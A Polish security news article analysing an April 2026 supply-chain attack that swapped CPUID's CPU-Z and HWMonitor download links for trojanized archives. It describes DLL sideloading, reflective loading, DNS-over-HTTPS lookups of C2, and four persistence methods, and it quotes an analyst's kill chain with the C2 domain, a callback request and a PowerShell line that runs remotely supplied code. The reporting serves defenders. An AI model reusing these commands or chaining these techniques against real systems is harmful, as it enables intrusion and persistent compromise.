Niebezpieczny atak socjotechniczny wykorzystujący znane oprogramowanie CPUID

Ostatnie miesiące przyzwyczaiły nas do ataków na łańcuch dostaw, które zwykle polegają na dodaniu złośliwej zależności do powszechnie używanego oprogramowania. Zmiany te, mogą już na etapie instalacji pakietu spowodować przejęcie systemu, na którym zostały uruchomione. Tym razem niezidentyfikowani sprawcy nie zdołali (nie musieli?) atakować zależności oprogramowania diagnostycznego CPUID (chodzi o znane narzędzia diagnostyczne CPU-Z oraz HWMonitor, które pozwalają na identyfikację sprzętu, sprawdzenie danych technicznych oraz odczytów z czujników komputera).

TLDR:

• Nieznani sprawcy uzyskali dostęp do API znanego projektu CPUID i podmienili linki pozwalające na pobranie znanych narzędzi takich jak CPU-Z oraz HWMonitor
• Adresy URL wskazywały na przestrzeń Cloudfare R2, skąd można było pobrać złośliwe paczki.
• Analiza pokazuje, że sam projekt nie został przejęty (to znaczy binaria są podpisane poprawnymi certyfikatami autorów oraz nie zawierają złośliwych dodatków)
• Cyberzbóje wykorzystują techniki takie jak DLL Sideloading w celu załadowania złośliwej biblioteki współdzielonej, którą dołączyli do pobieranego archiwum.

Udało im się uzyskać dostęp do pomocniczego API i strona projektu CPUID przez około sześć godzin pomiędzy 09.04.2026 a 10.04.2026 hostowała linki do złośliwego oprogramowania. Atak zbiegł się w czasie z urlopem głównego programisty (szczęście atakujących, czy dobrze skrojona operacja?). CPU-Z nie miał ostatnio szczęścia. Na początku roku pojawiła się informacja o podatności w wersji 2.17 CVE-2025-65264, w sterowniku jądra, która pozwoliła na wykorzystanie IOCTL do odczytu wrażliwych parametrów. 

Środowisko analityków złośliwego oprogramowania nie zawiodło. Znane konta takie jak vx-underground, christitustech czy też portale jak igorslab.de przedstawiły analizę zaistniałego indycentu. Co jest ciekawe, nie był to typowy atak z nudnym malware w tle, a atakujący zastosowali kilka naprawdę interesujących sztuczek. Co ciekawe we wpisie christutech’a znajduje się notka od społeczności, która wskazuje zaistniałą pomyłkę w nazewnictwie – HWInfo to konkurencyjny, bardziej rozbudowany i komercyjny (dla niektórych zastosowań) projekt innego dostawcy. Jak wskazują użytkownicy reddita kliknięcie w link na stronie CPUID, powodowało pobranie archiwum z plikiem wykonywalnym o nazwie HWiNFO_Monitor_Setup.exe. Już sama nazwa jest ciekawym aspektem tej kampanii. Naszym zdaniem jest to celowy zabieg mający wprowadzić dodatkową dezorientację, ponieważ pierwszy człon nazwy celowo wskazuje na konkurencyjne rozwiązanie przez co nawet doświadczony użytkownik może ulec złudzeniu. Nie bez znaczenia może mieć fakt, że użytkownicy zgłaszali flagowanie plików HWiNFO jako złośliwych na początku tego roku. Sytuacja ta została zdementowana przez dostawcę, który twierdził, że jest to false-positive (co, z racji funkcjonalności jest sensownym wytłumaczeniem). Być może atakujący liczyli, że w pierwszych godzinach kampanii ewentualne alarmy zgłaszane przez oprogramowanie antywirusowe zostaną sprawdzone w wyszukiwarce przez użytkowników na podstawie nazwy pliku PE? Wtedy dementi twórców niepowiązanego z tą sprawą oprogramowania mogłoby uśpić czujność. 

Użytkownik GitHuba posługujący się nickiem N3mes1s, opublikował bardzo szczegółową (i wspieraną LLMem) analizę, w której prezentuje rozbudowane IoC. Problematyczna paczka, to rzekomo paczka cpu-z_2.19-en.zip. Jednak w obrębie tej kampanii zidentyfikowano też archiwum cpu-z.zip.

Atak miał dwa scenariusze. Scenariusz obejmujący HWMonitor, bazował na tym, że atakujący przekierowali linki do pobrania tak aby wskazywały na zasoby serwowane przez Cloudflare R2. Pobrane binaria to customowy instalator bazujący na Inno Setup Installer, w wersji rosyjskojęzycznej. 

W przypadku pobrania archiwum ZIP (pojawiły się głosy, że wydanie z instalatorem CPU-Z było bezpieczne – jednak do momentu oficjalnego potwierdzenia przez dostawcę rozwiązania problemu odradzamy uruchamiania oprogramowania, które zostało pobrane w okresie trwania kampanii), serwowane były przepakowane pliki. Wewnątrz pobranego archiwum znajdowały się oficjalne binaria CPUID (podpisane poprawnym certyfikatem) oraz biblioteka CRYPTBASE.dll. Atakujący wykorzystał tutaj mechanizm dopasowania bibliotek DLL (Windows DLL search order) w celu przechwycenia wykonania programu. Jest to technika dobrze znana zarówno osobom zajmującym się ofensywnym bezpieczeństwem, jak i obrońcom. 

Następnie występował łańcuch zdarzeń, prowadzący do uruchomienia malware na systemie operacyjny, W pierwszej kolejności aplikacja ładowała (przez ADVAPI32.dll) bibliotekę CRYPTBASE.dll (dostarczoną przez atakującego), następnie dochodziło do wczytania kolejnego (zaszyfrowanego) pliku wykonywalnego (out.dll) z wykorzystaniem tzw. reflective PE loading – techniki polegającej na załadowaniu pliku PE z pamięci operacyjnej, a nie przy pomocy np. wywołania LoadLibrary z podaniem ścieżki w systemie plików. Szyfrowanie oraz pominięcie przechowywania odszyfrowanej binarki na dysku ma na celu utrudnić wykrycie i analizę payloadu. 

Odszyfrowany, załadowany i uruchomiony kod wykonuje następnie zapytanie DOH (DNS-over-HTTPS) do usługi Cloudflare do serwera C2. Wykorzystywane były subdomeny w domenie supp0v3[.]com. To właśnie z serwerów C2 dostarczany jest właściwy payload, uruchamiany następnie przez loader napisany w Powershellu. Po drodze atakujący wykorzystali kompilację C# przy pomocy csc.exe. W celu uzyskania trwałego dostępu do systemu (persystencji), użyto redundantnych rozwiązań. MSBuild, Scheduled Task (proces PS), COM Hijacking oraz autorun PowerShella. 

Cały killchain został dobrze zilustrowany w przytoczonym wyżej poście. 

[User downloads trojanized CPU-Z ZIP]          |          v [Extracts ZIP -> cpu-z_2.19-en (1)/]          |          v [Runs cpuz_x32.exe -> launches cpuz_x64.exe]          |          v [cpuz_x64.exe loads CRYPTBASE.dll from local directory] [DLL SIDELOADING – T1574.002 (transitive via ADVAPI32.dll)]          |          v [CRYPTBASE.dll: suspends main thread, decodes 349KB shellcode from .rdata] [Reflective-loads encrypted out.dll via shellcode stub]          |          v [out.dll resolves C2 via DNS-over-HTTPS (1.1.1.1)] [GET https://1.1.1.1/dns-query?name=welcome.supp0v3.com&type=A]          |          v [C2 callback – RECEIVES next-stage payload] [POST https://welcome.supp0v3.com/d/callback -> 200 OK (55 bytes JSON)] [?utm_tag=snip&utm_source=CityOfSin]          |          v [PowerShell spawned via stdin pipe with C2-delivered code] [powershell.exe -Command “[Console]::In.ReadToEnd() | Invoke-Expression”]          |          v [PowerShell compiles C# via csc.exe, drops persistence files] [.cs source -> .dll -> BuildCache.dat -> c_3791.proj -> CommonBuild.proj]          |          v [Establishes persistence x4]:   1. Registry Run key (MSBuild .proj loader)   2. Scheduled Task (hidden PowerShell every 68 min)   3. COM Hijacking (TypeLib -> ActiveX.sct -> Clippy.sct -> Moniker.dll)   4. PowerShell profile autorun (autorun.ps1)          |          v [Launches Chrome from PowerShell (purpose under investigation)]

Listing 1. Kill-chain ataku na łańcuch dostaw CPU-Z (autor: N3mes1s)

Celem ataku jest uruchomienie trojana (oraz PowerShella i przeglądarki – tutaj cel nie jest do końca jasny, ale można spodziewać się ataków socjotechnicznych i wykradania sesji). 

Jedno jest pewne – przedstawiony incydent jest niestety kolejnym i znowu nieszablonowym atakiem na łańcuch dostaw, przypominającym trochę wcześniejsze ataki na FileZillę. Na ten moment CPUID naprawiło występujący problem i serwowane paczki są już bezpieczne. Tym razem atak wycelowany był głównie w bardziej “świadomych” chociaż niekoniecznie “technicznych” użytkowników. Serdecznie zachęcamy do zapoznania się z podlinkowanym materiałem źródłowym oraz zastosowanymi technikami, które nie dość, że są całkiem zaawansowane, jak na typowe grupy cyberzbójów (pewnie pomogły im LLMy), to jeszcze nie są aż tak popularne wśród atakujących. Zespoły broniące namawiamy do przećwiczenia obrony przed podobnym scenariuszem ataku. 

~Black Hat Logan